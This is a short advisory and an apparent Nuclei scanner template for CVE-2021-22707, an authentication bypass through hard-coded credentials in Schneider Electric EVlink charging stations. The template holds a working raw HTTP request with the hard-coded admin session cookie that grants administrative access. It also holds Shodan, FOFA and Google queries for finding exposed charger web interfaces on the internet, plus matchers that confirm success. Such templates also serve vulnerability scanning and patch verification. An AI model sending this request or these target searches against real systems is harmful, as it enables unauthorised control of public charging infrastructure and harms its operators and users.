A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
PoC代码[已公开]
id: CVE-2021-22707
info:
name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
author: ritikchaddha,dorkerdevil
severity: critical
description: |
A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
remediation: |
Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.
reference:
- https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
- https://nvd.nist.gov/vuln/detail/CVE-2021-22707
- http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-22707
cwe-id: CWE-798
epss-score: 0.90002
epss-percentile: 0.99561
cpe: cpe:2.3:o:schneider-electric:evlink_city_evc1s22p4_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: schneider-electric
product: evlink_city_evc1s22p4_firmware
shodan-query:
- title:"EVSE web interface"
- http.title:"evse web interface"
fofa-query:
- title="EVSE web interface"
- title="evse web interface"
google-query: intitle:"evse web interface"
tags: cve2021,cve,evlink,auth-bypass,schneider-electric
http:
- raw:
- |
GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
words:
- '?worker=Cluster" name="cluster" id="id_cluster'
- type: status
status:
- 200
# digest: 490a004630440220375bb86562e77ab36a852ae4f1b99d9aeb734bc2e69061748e6f310071025b7a022057bcc3e51cf9d1224e0d3b52f055c3129407d31898a85d3ff6d355af24d76e41:922c64590222798bb761d5b6d8e72950